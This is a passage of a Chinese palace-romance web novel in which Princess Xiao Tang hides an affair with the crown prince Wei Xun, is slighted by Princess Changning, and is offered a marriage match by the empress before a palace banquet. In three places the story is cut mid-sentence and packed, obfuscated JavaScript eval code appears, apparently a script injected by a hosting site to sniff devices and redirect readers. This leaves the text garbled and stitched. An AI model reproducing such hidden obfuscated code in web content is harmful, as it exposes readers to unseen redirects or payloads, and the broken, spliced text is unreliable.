对于魏珣来讲，她拿得出手的，就仅有她的这副身体而已。 然而上回在马车里遭魏珣误会玩味，回想起来已经让萧棠羞得无地自容。若非魏珣要召她，她真的一点都不想再主动去见他。 更不想再揣度他的心思，简直是自取其辱。 “你同吴公公说，”萧棠道，“我对皇兄感激不尽，无以回报，便想按家乡习俗为皇兄织一只锦鲤香囊，以做答谢。” 瑞雪踌躇：“奴婢瞧公公的意思，是想殿下亲自去见太子……” 萧棠：“你只用说，我自知别无是处。虽知东宫不缺一物，但于我而言，最珍贵的就是这番心意。” 她是太珍重太子殿下的恩情，才不想像从前那样只是用床笫之事讨好太子。这个理由，想来吴年听了也无话可说。 宫中有专门教导公主琴棋书画与女红的司坊，萧棠跟着学了几年，都已精通一二。只是她惯于藏拙，人前从来不显露自己有何才情。 她手指灵巧，绣艺自也不差。但苏绣精细，穿针引线时需要慎之又慎，一个不留神便会被刺破手指。 雪白的指尖陡地冒出豆大的血珠，萧棠习以为常地放在唇边轻抿了下，抿掉血珠后继续布线行针。 她并非表面上那般怜弱，早习惯了这些没什么大不了的疼。看在眼里的瑞雪却心疼得很，嘟囔道：“都怪奴婢只会做粗活，不能替殿下代劳。” 而且，“殿下，要奴婢大言不惭说，你随便绣绣以表心意就好，不必这般精益求精。太子有天底下最好的绣娘，也不缺潇湘殿这一个。” 萧棠道：“可潇湘殿只给得起这一个。” 瑞雪反应过来她的意思，一下子作哑。 “……算啦，先放着，”少女见状，放下针线，“一时半会也绣不完，不如我们去御花园散散心好了。” 今日风和日丽，御花园新芽初绽，本是个闲游的好去处。然而没走几步，女子们嬉笑打闹的声音便打破了宁静。 “前面亭中好像是长宁公主、六公主与她们的伴读等人，”瑞雪低声道，“殿下，右边正好有一条小径，咱们绕行错开吧。” 作为货真价实的天家血脉，那群公主自幼就不屑于与萧棠为伍。从前在司坊上下学时她们就视萧棠如无物，萧棠也不在意。双方常年井水不犯河水。 不过今日有所不同，她刚准备绕行，就见长宁公主身边的侍女三步并两步走过来，福身道：“淳和公主，我们殿下有请。” 说着请，言辞却没半分恭敬，直接以身挡住了萧棠的去路。 瑞雪：“殿下大病初愈，恐会过了病气给长宁公主——” 侍女无视她，对萧棠重复了一遍：“淳和公主，我们殿下有请您过去。” 瑞雪沉不住气，脸色一下子变了。 萧棠不动声色地拍了拍瑞雪的手，跟着侍女走到了凉亭下。 长宁公主居主位，左右众星拱月似的陪她说话玩乐。原本是一派言笑晏晏的景象，瞥见萧棠过来，不知怎的，一个二个都默契地收了声。 尴尬的沉默持续了好长一瞬，长宁公主才像是反应过来有人来了，望向亭外那道纤细的倩影：“姐姐来了？快坐吧。” 她偏过头，斥道，“不长眼睛的，还不快点给淳和公主倒茶。” 长宁公主模样矜傲，一瞧就是被宠爱着长大的姑娘。 事实也的确如此，她才刚及笄，是皇帝最小的女儿，在众位皇女中最受宠爱，母亲因她连年晋位，如今已是四妃之一。 萧棠在席末落座，便听长宁公主道：“听闻姐姐病了好一阵，如今瞧着气色，应该好些了吧？” 她年前明明装病了那么久，可看长宁公主那一脸关切，就像是才刚刚听说就来问候她了一样。 若是不知情的，还要感叹一句姐妹情深。 萧棠顺着她说：“承蒙陛下赏赐的药材，好了许多。” “只有父皇赏赐了药材吗？”长宁公主装作不经意地提起，“我前日听说太子哥哥替姐姐说了情，东宫应当也很关心姐姐的病吧。” 提起太子，周围一双双眼睛都不约而同地落到了萧棠脸上。 萧棠心头一哂。 原来一反常态邀她小聚，就是为了这个。 也对，若非她与太子殿下扯上了关系，这些人哪里会把她放在眼里？ 她与长宁公主等人上一回见面还是除夕宴上。碍于是在众目睽睽之下，长宁公主没有像从前那样无视她一走了之，敷衍地说了几句吉祥话。 但也仅此而已，哪儿比得上此时这般热情。 “……我从前没见姐姐同太子哥哥说几句话，还以为你们之间不大熟悉。没想到太子哥哥这般疼你。” 长宁公主撑起脸，“不像我，他都不曾过问我的婚事。” 萧棠还是那一套说辞：“和亲乃是两国之好，太子在意的是国事，而非我的私事。” 长宁公主抿起嘴唇，从头到脚打量起她：“太子哥哥先前或是后来没有私底下与你说过什么吗？” 萧棠道：“我与太子并不相熟。” 长宁公主不说话了，她身旁另一人反而开了口：“太子殿下一贯宅心仁厚，又是菩萨心肠，替淳和公主说话也在情理之中。” “是啊，不论如何，淳和公主的父亲到底是战死沙场的老臣……” 长宁公主笑了下：“也对，太子哥哥心地仁善，微服私访时见到路边乞丐老妪都会施以援手，况且要去和亲的是淳和。” 她语调轻快，说出的话却有意无意夹着刺。 话音刚落下，萧棠四周的人都心照不宣似的哄笑起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“只不过是运道好些，父亲有个名头，太子殿下慈悲为怀，惦念着她父亲，帮衬了一句话而已，也不知道是不是有些人故意传得神乎其神……” 直到走回潇湘殿，关起大门，瑞雪终于忍无可忍，脸都气得发红：“长宁公主未免欺人太甚了！” 萧棠倒不在意：“以前不也如此。” 在皇宫中长大的人怎么会不爱争，争谁的衣裳头面华贵，争谁的封号特别，争谁得父兄的宠爱更多。 况且，魏珣不止是她们的兄长，更是太子，是文臣之首。 他能给她们的东西，实在是太多太多。 太子殿下若是夸了一句名不经传之辈的诗赋，那人不出一日就会声名鹊起，被燕京权贵争相追求墨宝。 既然他说她是忠臣遗孤，不论皇帝如今信与不信，旁人以后是绝不敢再随便往她父亲身上泼脏水。 “……我今晚挑灯绣完这只香囊，你明日拿去给吴年，托他谢过太子殿下。” 萧棠瞥了眼瑞雪，提前拆穿了她的心思：“不要提我的伤。” “奴婢明白。” ………… 太子常居东宫，此间处处都随了魏珣的秉性，琼台玉阙，兰庭竹室，银蟾台榭，玉壶天地，置身其中，难免叫人恍惚生出梦游错入仙境的错觉。 吴年低头疾步穿过游廊，将回屹使驿的密信呈到太子桌案前。 魏珣眼也没抬一下，继续看着手中残缺的案牍。 此时不该多嘴，只该默默退下。然而想着袖里的香囊，他踌躇了一会儿，最终还是将香囊也呈到了男人手边，低声道：“潇湘殿的侍女说，淳和公主对殿下感激涕零，这几日连夜挑灯做了一只六尾锦鲤纹的香囊。” “奴才瞧着这香囊细致，比之宫中绣娘的手艺都不相差，应当是淳和公主心系殿下，为此彻夜不休，唯恐容颜憔悴，才没有亲自来见殿下，只能托侍女相送……” 女为悦己者容，淳和公主肯定也不例外。 若是为着这个缘由，她迟迟不来主动谢过太子殿下，便也算情有可原了。 饶是吴年见过好东西，也觉得萧棠这只香囊的确用了不少心思。可任他舌灿莲花了一番，太子殿下仍是看也不看一眼。 “无关紧要的东西，你自己处理。” 5. 第 5 章 香囊送出去后如石沉大海，魏珣并未表示，只有吴年送来了些太医使特制的芙蓉珍珠粉膏。 瑞雪悄悄端详了半晌少女瓷白无暇的脸蛋，遗憾地想，这些粉膏实在没有用武之地。 可据说这是专供给宫中贵人们养颜所用，贵重万分，若是压箱底了又太可惜。 于是瑞雪当机立断，决定拿来为萧棠养护双手。 萧棠赶工赶得匆忙，手上留下了好些小疤。她绣的六尾锦鲤式样复杂，用的针比寻常的针长，伤口更深更密，便更不易恢复。 美玉生瑕，瑞雪每每瞧见，都心疼得打紧。 萧棠看了眼瑞雪手中的青瓷药瓶，又低头看了看手上的伤口。 她生得白，有一点红的褐的便十分扎眼。 “不用了，”萧棠道，“让伤慢慢好吧。” 瑞雪不解，萧棠却不能明着解释，只笑道：“我用不上，不还有你吗？你拿去用就是了。” 她打的是个鬼主意。太子殿下目中无尘，若与她行事时发现她手上伤未好完，说不定还能少些兴致，也叫她少吃些苦头。 不过，接下来两日，魏珣仍旧未有召她的意思。 萧棠有些意外。上一回魏珣在床笫间前所未有的肆行，她本以为是他数月未有纾解的缘故。既是如此，最近召她应该会更频繁些。 没想到还跟从前一样。 不过转念一想，每日送到东宫之中、太子案前的稀世奇珍不计其数，想要攀附太子殿下的女子亦如过江之鲫。 魏珣对她只是一时兴起，若她不再主动讨好献媚，这份兴趣持续了一年，也到了该淡下去的时候。 这正合了萧棠的意。 她已经下定决心，下月生辰之前一定要跟魏珣断个干净，再尽早想办法远离燕京这处是非之地。 如今看，第一样并不难，但第二样…… 萧棠已有些头绪，但尚未等她理清，潇湘殿便又猝不及防地迎来了一位不速之客。 坤宁宫的侍女立在殿外，说皇后娘娘要见她。 一听见坤宁宫的字眼，萧棠脑海中闪过先前应付严嬷嬷的话语。 她反复去细想，应当没有什么纰漏。 退一万步说，就算皇后对她有万分不满，事情也已成定局。作为中宫皇后，她贯然不会跟一个不受宠的公主计较，有失身份，又有损颜面。 那现如今忽然召她，是意欲何为？ 来的侍女嘴严，不会透露半句，只道：“娘娘已在坤宁宫静候公主，公主莫要让娘娘久等。” 话到这个份上，她便一刻都不能再耽搁了。萧棠按捺下忐忑的心思，跟着侍女前去了坤宁宫。 一到坤宁宫外，便迎面见到一位内侍走出来。 那内侍低眉顺眼，可萧棠瞧了一眼便觉得眼熟。 再一看服制，原来是东宫里的人。 萧棠一下子生出许多有的没的联想，思绪也从东宫瞬间到了宫外那处不为人知的私邸。 她当然是怕自己跟魏珣的关系被人发现的，但她也清楚，魏珣同样不会容许他们之间的关系被外人知晓。 并且，东宫有足够的手段掩人耳目。 她擅自出入皇宫，屡屡夜不归宿，东宫都已经命人打点过。 吴年已经跟她通过气，就算有人手腕了得，抽丝剥茧地往下查，最多最多也只会查到她前往了宫外家父名下的旧宅。 虽然犯了宫规，但她到时候用一句思念亡亲也能应对过去。 哪怕皇后娘娘是魏珣的亲身母亲，应当也没办法打探到他私底下那些荒唐之举吧？ 胡思乱想着，侍女已领她走到殿中。 萧棠收回神，垂首行礼：“请皇后娘娘安。” 隔了好一会儿，高台上才传来妇人不紧不慢的声音：“抬起脸来。” 萧棠愣了一下，才依言抬起了脸庞。 午后晴光宜人，光华斜入窗棂，映在少女姝色明丽的脸上。 严嬷嬷眯起眼睛，再度正眼打量起萧棠。 少女虽抬着脸，视线却仍规矩地低垂着，显得十分温驯柔顺。 饶是严嬷嬷再看不惯淳和公主，也不得不承认，这位公主殿下是颗蒙尘的明珠。 她见过五湖四海采选进来的美人，那都是各地拔尖的灵秀，环肥燕瘦，莺莺燕燕，却少有人能与淳和公主的样貌媲美。 饶是她再安静，再卑微，也无法遮掩住那一副艳绝燕京的皮囊。 可这世道，拥有如此美貌却无法自保，便如稚子抱金行于市，未必是件好事。 且不论对萧棠一见钟情的回屹可汗，严嬷嬷还记得一年之前，皇后娘娘母族那位世子也曾闹着要娶萧棠为妻。 淳和公主的身份哪里够上做高门妻、世子妃，侯爷跟侯夫人当然不能同意。 可那混世魔王纨绔惯了，是个犟骨头，又不知道被萧棠下了什么迷魂药，就是指名点姓非她不娶。 为了同萧棠多些来往，还特意大闹家中，相逼侯夫人去找皇后娘娘说情，将淳和公主也破天荒地列入了去行宫避暑的名单。 只是那世子在行宫中酒后失言，家族唯恐牵连到太子殿下的声誉，连夜将他送到千里之外的叙州府，他与淳和公主的事才没了下文。 也幸好如此，不然依照世子的性子，肯定还要让皇后娘娘头疼好一阵。 萧棠体弱多病，常年深入简出，都能接二连三惹来那么多番倾慕，也不知假以时日，她若是再长开些，多露几次面，还要掀起多大的风浪。 当真是个祸水。严嬷嬷心头感叹了一声。 投到她脸上的目光持续了不短的时间，萧棠一动不动，任由人打量。 忽然，她听见皇后问：“本宫记得你已经及笄了，可有心属的郎君？” ……啊？ 原本在脑海中一一闪过的对策在一瞬间统统失了效，萧棠万万没有想到皇后特意召她来，竟是为这种事。 她未曾掩饰脸上错愕，顿了一顿才柔声应道：“不曾。” 皇后又问：“之前可有什么指腹为婚的娃娃亲？” “也不曾。” “……寻常人家的女儿，到这个年岁大多都定了亲，出了嫁，最迟也该让家里人相看夫婿了，倒可怜了你。” 皇后抚着指尖丹蔻，说着可怜，慢悠悠的语调却未必有多少真情实感的怜惜。 她话锋陡然一转：“你虽非本宫亲生，可本宫也算你的义母。” 如果说刚被问时，萧棠还有些懵，现下她已经完全反应了过来。 ——皇后竟然起意要为她挑选婚配。 她已及笄一年有余，若皇后当真是出于义母慈心，不可能到现在才惦念起她未出嫁。 个中缘由，联系这段时间发生的事，不难想清楚。 肯定又跟魏珣脱不了干系。 这些贵人一旦起心动念，动动手指，或是说一句话，就足以叫她的人生天翻地覆。 ……但也未必是坏事。 萧棠拜伏在地，并未直接答应或干脆拒绝，而是轻缓应道：“娘娘是中宫之主，母仪天下，慈悲为怀，能得您为义母，是儿臣之大幸。” 皇后轻笑了声，也不知有没有将她这番恭维听进去。 萧棠睫毛轻颤，试探性地道：“儿臣斗胆想问，这是娘娘的意思，还是太子殿下的意思？” 是皇后想要她嫁人，还是魏珣授意，两者天差地别。 皇后：“女儿家的事，便不必叨扰太子了。” 言外之意，这是皇后自己的主意，并且不打算告诉魏珣。 萧棠心中已有思量，应了声是，“儿臣自知家父之事已经惹来了不少麻烦，若再让娘娘为儿臣掌眼，不知会不会令坤宁宫节外生枝……” 说着说着，她的语调已经染上了愧疚。 见她如此谨慎懂事，皇后倒是满意了不少：“起来吧，不必这般局促。” 萧棠站起身，却还低着头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贵妃与誉王那派的臣子这几日频频上谏，暗指太子与谋逆旧党勾结。若非太子殿下早有准备，借此反将了一军，指不定真会被他们泼上了脏水。 皇后揉了揉眉心：“本宫只是在替子霁考虑。” 子霁是魏珣的字。 光风霁月，正如其人。 “子霁替她父亲说了话，固然能够拉拢人心，但从今往后，大家都认淳和算是东宫麾下的了。” 魏珣行事无可指摘，有心之人只得从他身边的人下手搬弄是非。若萧棠往后再招来什么乱子，定会波及到东宫。 如此一来，还不如趁早顺水推舟，把萧棠打发去嫁人了。 若能把她嫁到千里之外，再也不会有消息传回燕京，对东宫有什么影响，自然更好不过。 这一点，皇后并未挑明。 她也是女子，怎会不明白女子的野心？ 萧棠身处皇家，见惯了荣华富贵，又长了副足以将人迷得神魂颠倒的脸蛋，若不甘心就此离开燕京，想要往高处走，嫁进什么世家大族，其实也无可厚非。 只是没想到萧棠与她会不谋而合。 “……确实是个聪明的姑娘。”皇后喃着，心下高看了萧棠几分。 严嬷嬷倒想起刚刚那位东宫内侍。 皇后想见太子，屡屡派人前去东宫问询，太子却始终没有出现，只是命身边心腹前来以尽孝心。 太子殿下仁民爱物，素崇孝道，可这对天下最尊贵的母子，私底下的关系早已经微妙到了极点。 “事关太子，娘娘当真不要派人去东宫知会一声吗？” 皇后似是有些疲倦，合眼道：“告诉了子霁，反倒让他以为坤宁宫又多管闲事，罢了。” 6. 第 6 章 从坤宁宫回潇湘殿的路不短，萧棠却头一回感觉只是须臾之间。 原因无他，她满脑子翻来覆去都是坤宁宫中那一番对话，压根顾不上外物。 连瑞雪唤她，萧棠都没听见。 “……殿下！！”瑞雪急了，“皇后娘娘是不是为难您了，您怎么一脸魂不守舍的？” 萧棠这才回过神，瞧见瑞雪一脸心急如焚，连忙否认：“只是出了些变故。” 她连忙三步并作两步跟着瑞雪进殿，合上宫门，三言两语交代了方才的事。 瑞雪也始料未及，皇后不止没有为难殿下，竟然还突发这般好心？她睁大眼睛，结巴道：“那、那、那殿下的意思是——” 萧棠垂下眸，盯着手上的疤痕。 过了一会儿又抬起时，桃花眸中已是一片清明：“我想，机不可失。” 是的了，她一个囿于深宫的女眷，父兄阵亡，母亲早逝，所谓的亲族与她关系浅薄，又远在江南，对燕京中事鞭长莫及，无能为力。 若是没有靠山，到了年岁，就只有被那些贪声逐色的权贵子弟挑拣与唐突的份。 但若皇后对她的婚配上了心，情况便大不相同。她可以安安心心地挑选一位妥帖的郎君，顺顺利利回到家乡安稳度日。 燕京城这地方，一块石头随便砸进人堆里都能砸死五个朝臣三个公侯，她的公主虚名自然是不够看的。 可是若远在江南，地方的衙府总要敬她两分，加之夫家照拂，她总不必再像现在这样难堪。 况且，等到了江南，她也可以同母族那边的人联系，多加筹谋，想办法在当地站稳脚跟。以后就算所托非人，也有了自己的倚仗跟底气，不必再像这般日日如履薄冰。 前前后后，她都想好了。 萧棠知道自己的想法带着些天真，但无论如何，总比坐以待毙来得好。 况且，尽管皇后没有明说，但她隐隐有预感，皇后也是想让她这个烫手山芋离开燕京的。 既是如此，若再有哪个燕京的世家子弟看中了她，再闹出什么事，皇后肯定也会想办法庇护她万全。 她也就不必再去求魏珣。 但，说到魏珣—— 瑞雪问：“那殿下怎么跟太子交代？” 萧棠不说话了。 还能怎么交代，当然是先斩后奏。 萧棠也想不出更好的法子，总不可能她亲自去找魏珣，口口声声跟他说，她准备琵琶别抱。 她虽未出阁，但也懂那些男女间的人情世故弯弯绕绕。对一个男人来说，她当面承认自己起了二心，跟挑衅有什么区别？ 萧棠虽打算跟魏珣一刀两断，却万万不敢跟他结仇，否则太子殿下只需轻飘飘说句话，就能让她后半辈子都不得安生。 她只想一别两宽，好聚好散。 魏珣既然腻味了她，她也就不必再往男人跟前凑，两人大可就这样心照不宣地做回一对最普通平凡的兄妹。 “依我对魏珣的了解，若他之后知道我要嫁人，应当……”萧棠沉吟了一会儿，“也不会说什么的。” 太子殿下目空一世，眼高于顶，对一个已经没什么兴趣，又准备要嫁人的义妹，肯定懒得有什么多余的反应。 就如同一个富可敌国的商贾，若是丢了一文钱，别说命人去寻了，恐怕连看都不会多看一眼。 至于旁的，“走一步看一步吧。” 萧棠思忖几许，又吩咐瑞雪：“你借着出宫的机会，帮我去打听打听如今在燕京城有什么符合我要求的郎君。” 宫女每月或每两月是可以偷偷出宫采买物什、典当财物，或是归家探亲。如今当值的女官慈心，对此都睁一只眼闭一只眼。 她特地点了出宫，是想着从宫女口中得来的消息，远不如坊间口口相传的准确。 譬如当初那位世子，宫女们只会说他来自皇后母家，身份何其显贵，只有从民间打听，才得知他当街纵马等等恶霸行径。 后来果不其然，干出了给她下椿药，逼她强从这种毫无礼义廉耻的事。 ……不过，这么说来，坊间的传言也只能做个参考。 随便在路边抓一个人，哪怕是懵懂孩童，应当都能对当今的太子殿下说出一长串的溢美之词。 可谁知道他的真面目坏得一塌糊涂。 主仆间颇有默契，不需要她说明白，瑞雪便已心领神会。 打听消息得从长计议，但皇后让她参加的宫宴转日便至。 也许是看不上她从前太过朴素的衣着，宴前，坤宁宫的宫女还特地送来了皇后的赏赐。 “……娘娘念及公主常常衣不重彩，便特赐了这些衣裳首饰。这件长裙用的是金错绣绉的贝锦，寸锦寸金，娘娘待公主可是极好的。” 到底是坤宁宫的人，那宫女行事十分周密，先捧了一遍皇后，提点着萧棠记住这恩情，又说：“贝锦特殊，不比寻常衣料，奴婢晚些教公主殿下的侍女如何打理。” 萧棠望着那斜织的锦缎，有些意外：“此物如此金贵？” 宫女一顿，笑了笑：“那是自然。” 那笑中有一抹掩饰得很好的不以为意，像是在笑萧棠贵为公主，见识连皇后宫中的侍女都比不上。 萧棠没有点破。瑞雪送走宫女，折返回萧棠身边，也打量起那一身缎裙，诧道：“太子殿下可真是大手笔。” 那日萧棠回来时身上所穿的衣裙，用的也是同样的织缎。 那可不是魏珣特地的恩赏，只是他私宅中一件普普通通的裙衫，因着她先前的衣裳被扯坏了，便拿给她应急，谁能想到竟是如此价值连城。 萧棠惊讶之后又是庆幸，还好她做事小心，从未将跟魏珣有关的任何东西显露于人前。 否则的话，被人瞧出，真不知道该怎么交代。 ……也不知道太子殿下是怎么想的，是对她很放心，知道她不会去招摇过市吗？ 萧棠想不明白，干脆不想了。宴会在即，这出插曲很快被掠过。 从前赴会，萧棠只求不出错，从不求出挑，是以几乎不施粉黛，今日难得梳妆打扮了一番。 镜中的少女一下子变得明艳烨然，饶是瑞雪已经习惯了公主殿下的美貌，此时也有些挪不开眼。 萧棠见瑞雪盯着她，微侧过脸：“怎的，不合适吗？” “……合适，合适得不得了！奴婢还以为是话本里的天仙下凡了呢。” 只是可惜了，那双手故意折腾出了伤疤，美玉有瑕，叫人心疼。 萧棠只当瑞雪又在贫嘴，笑了声：“好啦，走吧。” 她没有闺中密友相邀，也无人结伴，只得独自来到宴上，由宫女领着入座。 正是开春好时节，风清日朗，宫中所设的内外宴也重新多了起来。宴会尚未开始，气氛格外松快。 可等萧棠步入席中，她微妙地感觉到四周的谈笑声不约而同地停滞了一会儿。 紧接着，一道道目光都投了过来，各式各样视线流连在她脸上、身上。 萧棠面上不显，只抿起涂着胭脂的唇，越过那些打量，如常坐下。 大抵是皇后特地吩咐过，往前她都是坐在席末，如今往前移了几个位置，同那些平日高攀不起的贵女王孙们近了许多。 不过，只是席位靠近显然没有什么用。 那群女眷们瞧见她竟坐在自己旁边，惊讶过后默契地交换了一个眼神，便不约而同地忽略掉了她这个刚来的大活人，继续笑吟吟地攀谈起来。 少女四周都是说笑声，唯独她一个人安静地坐着，单薄的倩影显出几分格格不入的窘迫。 萧棠却无心掺和这些暗潮涌动。 现下男女分席，男子都坐在她对面，正方便她观察。她扫了一眼，都是些不大熟悉的面庞。 说来也巧，她一看到谁，那人便像是留意了她许久似的，恰好望了过来。 四目相对，少女水盈盈的眸子如一道漾起的横波，瞧着人不说话时便似是欲语还休，像一根纤细的雀羽，挠得人心头直痒痒。 偏偏吝啬得很，看人只看一眼，勾得人眼珠子都瞪直了。 没人知晓萧棠正在想什么。 这个瞧着应当是哪家的公子哥，脾气很差，她招惹不起，不行。 这个瞧着眼下乌青太重，身体应当过分虚浮，不像是个正经人。 这个……总之也不行。 粗略一看，光是皮囊都无一入眼。 萧棠正欲收回目光，却忽地瞧见人群间隙中有个出挑的少年。 说出挑，有几个原因，最重要的就是他长得实在不像燕京人士。分明是一张极为英俊的脸，却与寻常养尊处优的纨绔子弟不同，像是被风吹日晒过，皮肤呈小麦色，反而衬得五官愈发深刻，凌厉，锋芒毕露。 他的位置并不靠后，瞧着应当身份不凡，却与那些世家子格格不入，并不搭理他们，一个人闷头喝茶，动作潇洒得很，让人错以为他在饮的是什么烈酒。 察觉到萧棠的目光，少年不着痕迹地皱一下眉，抬头望了过来，那神色看得人不禁发憷。 然而当他看清萧棠时，微愣了一瞬，脸上的凌锐之色一下子消失殆尽。 萧棠却已经收回了视线，不再看他。 与此同时，她的耳朵忽地听见一个熟悉的名字：“……你们说，太子殿下今日当真不会来吗？” 果然，无论何时，女子们私下最爱议论的就是魏珣。 太子殿下弱冠已过三年，至今却仍未娶妻，东宫连侍妾通房都不曾有，难免叫这些情窦初开的适龄贵女们起了几分跃跃欲试之心。 只可惜，“太子殿下今晨才主持了学宫释奠礼，学宫事务繁重，定然无暇抽身。” 饶是萧棠孤陋寡闻，也知道释奠礼是学宫一年一度最重要的日子，亦是“三礼”中的“君师”之礼，在天底下读书人心中意义超然。 从前都是交给臣子去做，前年起开始变成了太子殿下亲自主持，办得愈发隆重，也使太子在儒生文人心中的地位水涨船高。 这样的盛会事关重大，前前后后定有许多繁琐流程，加之魏珣对她已经失去了不少兴致，如此一来，她又可以有两三个月不必见魏珣了。 想到这，萧棠莫名松了口气。 不来也好，省得她提心吊胆，还要抽出空应付他—— “皇后娘娘到！” “太子殿下到！” 内侍尖着嗓子接连的喊声似一块石头砸入湖中，平静的湖面瞬间荡起了圈圈涟漪。 太子殿下竟然纡尊来了！前一刻还在遗憾的众人自是又惊又喜。 萧棠除外。她只有惊，没有喜，却半分不能表露出来，只得跟着其他人齐行跪礼，口称参见皇后娘娘与太子殿下，万福金安云云。 萧棠低着头，又离得远，根本无法看见魏珣此时的模样，余光只能捕捉到他走过时掠起的衣边。 似勾玉堆锦，簪星曳月。 所谓与玉比德的君子风度，大抵正是如此，连行走时的步态都无可挑剔。 “诸位免礼吧，”不比私下见萧棠时，皇后的语气十分平易近人，“年后难得一聚，就当是叙叙旧，赏赏春，不必那么多虚礼。” 皇后这般和善，众人却不敢真的放下礼数，做足了礼节才起身坐回位置上，也终于能够看清上首的情况。 皇后坐主座，太子殿下在她右手侧。 也许是才去主持了释奠礼的缘故，魏珣今日的装束有些不同，着一身玄衣，腰间扣白玉，除此外再无旁饰，比平日更显出清冷严正。 加之他生得实在俊美，此时一言不发，便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧棠其实很想继续观察一下对座的人。可魏珣就在上头，她总觉得在他眼皮子底下有几分不自在。 思来想去，少女决定往上偷偷瞥一眼。 魏珣似乎压根没有发现有她这个人，又或者发现了也没什么好在意的，正在温声问候皇后。 无论谁看了，恐怕都要感叹好一副母慈子孝的景象。 过了一会儿，没听见内侍通报太子离席，她再往上瞥一眼。 魏珣垂着眸，正听座下一位宗亲同他说起些几桩沙灾时的见闻。 那人说着，他只是偶尔淡淡地应一声。 虽惜字如金，可很显然，对与他交谈的人来说，能得他回应便足够叫人受宠若惊了，当下便更说得滔滔不绝。 萧棠耐心等着过了片刻，她又瞥一眼。 ……怎么太子殿下还是没有离开的打算？ 少女诧异，皇后不是说他只是坐一会儿吗？ ………… 上首，吴年借着斟茶的功夫，靠在男人耳侧，低声提醒：“……殿下，公主好像在看您。” 座下的人还在试图同太子攀谈，魏珣垂眸，瓷杯中的茶水映出他瞳仁中极淡的不耐烦。 过了一会儿，吴年又道：“公主连着看了您好几回了。” 魏珣嗯了一声。 他当然发现了。 少女的目光频频投来，明眸善睐，殷勤得实在有些太过明显。 旁席不少人偷偷看她，萧棠也不曾理会，心思全都放在了他这儿。见他始终没看她，她的眉毛还自顾自地蹙起，雪白的脸蛋上有几分不易察觉的愁色。 就算只有一瞬，掩饰得很好，也仍旧被座上的人看得清清楚楚。 有了上回的教训，吴年本不应该再多话，但要怪就怪淳和公主的表现实在不同于常日。 他又斟了一杯茶，低声道：“恕奴才多嘴，公主一向懂事，就算想念殿下万分，若殿下不召，她也定然不敢主动来见殿下。” 那日得了香囊，太子殿下看也没看一眼，让他随便处置，明明连着两夜有空，却不曾提起让他把萧棠带过来。 见状，吴年只得盼着萧棠主动提起见面的事。 他还是有几分成算的，若萧棠说想见太子，他代为转达，太子殿下大概不会不允。 可坏就坏在萧棠脸皮薄，私下做了那么多事，只顾着干着急，硬是不肯跟他提一句，还是得他这个做下人的从中周旋。 哎，难办！ 吴年还能怎么办，只能自己上了。 “……奴才今日才瞧见了潇湘殿的侍女在跟人打探消息，肯定是公主心头不安，想打听殿下最近的踪迹。” 难得的，魏珣没有打断他。 吴年察言观色，便继续说了：“奴才刚才跟着您进来时，还瞧见公主的手上都是未好的伤，想来是为殿下绣香囊时留下的。” 魏珣的语气很淡：“你没送过药？” 太医使最近的那些好东西，哪样他没有紧赶慢赶都送到潇湘殿了。 男人语调中含着淡淡的讽刺，令吴年忽地想到这茬，他顿住：“……也许是公主肌肤娇嫩，伤不容易好吧？” 很显然，这理由站不住脚。 萧棠伤至今未好，只可能是故意为之。 因着魏珣先前未有及时召她，所以她刻意把那伤口留到现在，好让他看见。 女儿家浅薄的心机和拙劣的伎俩，自然瞒不了太子殿下。 不过，有一点的确没说错。 指节轻轻摩挲了下茶杯光洁细腻的瓷面，几滴湿润的水珠没入指节，男人面上无波无澜。 ……她有多身娇体弱，他最清楚不过。 7. 第 7 章 座下的人终于闭上了聒噪的嘴。 魏珣吩咐吴年：“让她敷好了伤就来见我。” 他不是除了读圣贤书外一窍不通的文人，练过武受过伤，也精通毒医药理，深知那一点伤根本过不了夜。 偏生不知道萧棠是怎么折腾自己的，两日后还留有如此明显的香瘢，隔那么远都能瞧见。 楚王好细腰，宫中多饿死，太子殿下并不喜欢有人过分想要取悦他，做得太明显就罢了，还频频用了那些不大聪明的手段。 萧棠全然不知上首发生了什么，默默地品着茶。 茶倒是好茶，唇齿都是清苦回甘的香气，只是想到座上那位众星捧月似的太子殿下，她颇有几分食不知味。 终于，一内侍匆匆入内，在太子殿下耳侧低语两句，太子起身离席。 众人眼观鼻鼻观心，立即起身行礼相送。 萧棠再次跟着其他人站了起来，余光瞥见魏珣缓步走下台阶，与她擦肩而—— 出乎意料地，男人忽然在她案桌前停了下来。 停顿的一瞬被无限拉长，萧棠的心顷刻就提到了嗓子眼。 这是要做什么！？ 还好，没让她紧张太久，便听见男人身后的吴年道：“长宁公主若有什么东西要转交给殿下，拿给奴才便是。” 萧棠怔了怔，侧过头，才发现刚刚原来是她旁边的长宁公主唤住了魏珣，魏珣因此正好停在了她面前。 ……原来不是在看她，萧棠放心了。 见只是魏珣的内侍理会了她，长宁公主的脸上有几分窘迫，但她也知晓魏珣有要事在身，如此打扰已算是唐突，魏珣肯停下来看她一眼，都是看在这儿人多，不想让她下不来台的份上。 想到这，长宁公主连忙让身边侍女将东西转交给了吴年，歉意道：“怪我叨扰太子哥哥了。” 魏珣：“无事。” 他的声调平和，就算没有什么情绪，也叫人觉得如沐春风，心头熨贴，对这位天人之姿的太子殿下愈发倾慕崇拜。 萧棠还从未听见他用这样的语调跟她说过话。 从前做兄妹时就没有，之后便是同床共枕，抵死缠绵，情况似乎也没有变化。 她若叨扰了他，男人只会瞥她一眼，一言不发。 好像再同他多攀谈一句话就会自取其辱。 也不知道是他唯独对她这个可以随便欺负的妹妹这般不耐，还是说，独独在她面前，他连装都懒得再装下去。 